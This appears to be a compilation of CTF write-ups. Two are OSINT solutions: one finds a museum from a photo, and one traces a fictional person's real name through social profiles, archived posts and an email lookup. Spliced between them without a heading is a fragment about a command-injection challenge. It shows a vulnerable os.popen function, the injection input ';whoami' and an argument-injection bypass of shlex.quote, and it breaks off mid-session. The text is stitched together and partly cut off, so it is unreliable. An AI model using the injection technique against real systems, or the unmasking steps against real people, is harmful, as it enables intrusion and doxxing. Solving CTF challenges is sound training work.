OSINT: Lost In History (easy)
Description MM0X and xElessaway were in a mission to find someone but seems they had a stalker and got us this picture of them both. can you identify the place they were? Flag Format: 0xL4ugh{The Name of the place with spaces} solution Let’s go after analyzing the image i found some notes which may be important They are numbered in this img label 1: a reflection of a word label 2&3: are statues The word in label one after zooming and guessing the rest of the word i believe it’s ‘المومياوات’ The statues are indication that this may be a museum So when i searched using ‘متحف المومياوات’ i found this result The place is The national museum of Egyptian Civilization and you can confirm that by searching for photos of this museum Then the flag is 0xL4ugh{The national museum of Egyptian Civilization}

Don’t worry after a fast examination we will know that there’s only small interesting part The interesting part is the choice number 8 cuz it calls the function check_file_presence() and its content is def check_file_presence(): book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] ")) command = "ls " + book_name try: result = os.popen(command).read().strip() print(result) if result == book_name: console.print(f"[bold green]The book is present in the current directory.[/bold green]") else: console.print(f"[bold red]The book is not found in the current directory.[/bold red]") except Exception as e: console.print(f"[bold red]Error: {e}[/bold red]") It’s interesting cuz it the only one containing command execution and the command we can say its supplied from the user (not exactly) Okay let’s analyze this function We have book_name is concatenated with ls and the result is executed as command This appears to be vulnerable to command injection and we see that that the blacklist is very poor but the problem is in shlex.quote this puts the input in quots Then your dreams about supplying ;whoami as input so the command becomes ls ;whoami are destroyed becaused the command became ls ';whoami' What can we do then ?!!! After searching i found this amazing article I recommend it The most important thing we got from it is that shlex.quote() escapes the shell's parsing, but it does not escape the argument parser of the command you're calling, and some additional tool-specific escaping needs to be done manually, especially if your string starts with a dash (-). So What about making the input something like -la resulting in the command ls -la without the problem of quotes. ┌──(youssif㉿youssif)-[~] └─$ nc 172.190.120.133 50003 Library Management System 1.

OSINT: Cheater (medium)
Description Our team received a request from a man who believes his wife may be cheating on him. He asked us to help by checking her accounts for any evidence. He provided his wife’s name, “Hamdia Eldhkawy” and mentioned that a friend informed him she shared a picture with someone on social media. He couldn’t find the image and wants us to discover the man’s real name. Flag Format: 0xL4ugh{First Name_Last Name} Solution Let’s go First i started searching using Hamdia Eldhkawy using google after some trials i found nothing useful I decided to try searching for Hamdia Eldhkawy using bing search good news, i found an instagram profile instagram_profile I searched within the profile trying to get useful information for next steps examining followers posts I stuck for a long time here as i thought the followers or the people reacting to her posts maybe interesting, so i spent some time with some reacting users but with no useful information I also tried using the pictures in her posts in reverse image search, but also with no useful results Then i noticed important thing that all the posts are about AI generated pictures This may indicate that she is interested in AI and this gave me a hint to the next step Let’s go back to bing and search using Hamdia Eldhkawy ai and we got this results The OPENAI link is the treasure here OPENAI post When we go in we find interesting comment from a user called Hamada_Elbes I remember you, Hamada Hamade_Elbes was an OSINT challange in 0xl4ugh ctf 2023 xDDDD anyway let’s back and look at the comment The comment is: Haha Hamdia, I already caught that :wink: I can share it with your husband <3 with the photo below After analyzing this image carefully we will find important information First, The url may move us to the post Second, Hamdia mentioned her boyfriend in the post but the picture is cropped so we just know that his account starts by spide and this’s not enough When we try to access the link in the image we willn’t get that post Maybe Hamdia deleted it ummmmmmmmmmmmmm Good one, Hamdia but you are too late as Hamada_Elbes caught you xDD We need to reach that deleted post and in this situation we will think abount web archiving I tried wayback machine but with no useful results Then i searched for an alternative and after many trials this worked with me archive.ph Let’s open it and get the info we need The treasures in here finally she mentioned spidersh4zly What are you waiting for?! Let’s search for him on instagram And this is his account There’s another link in his profile for more information, and i see that there’s nothing else important Let’s go to this link We see many accounts for spidersh4zly after analyzing them i found that all are useless except the gmail We can use the gmail in getting his real name using a powerful tool called epieos Go to its site insert the email and let it makes its magic And here’s the results We found him. He is Abdelfatah ElCanaway Congratz we got it. The flag: 0xL4ugh{Abdelfatah_ElCanaway}
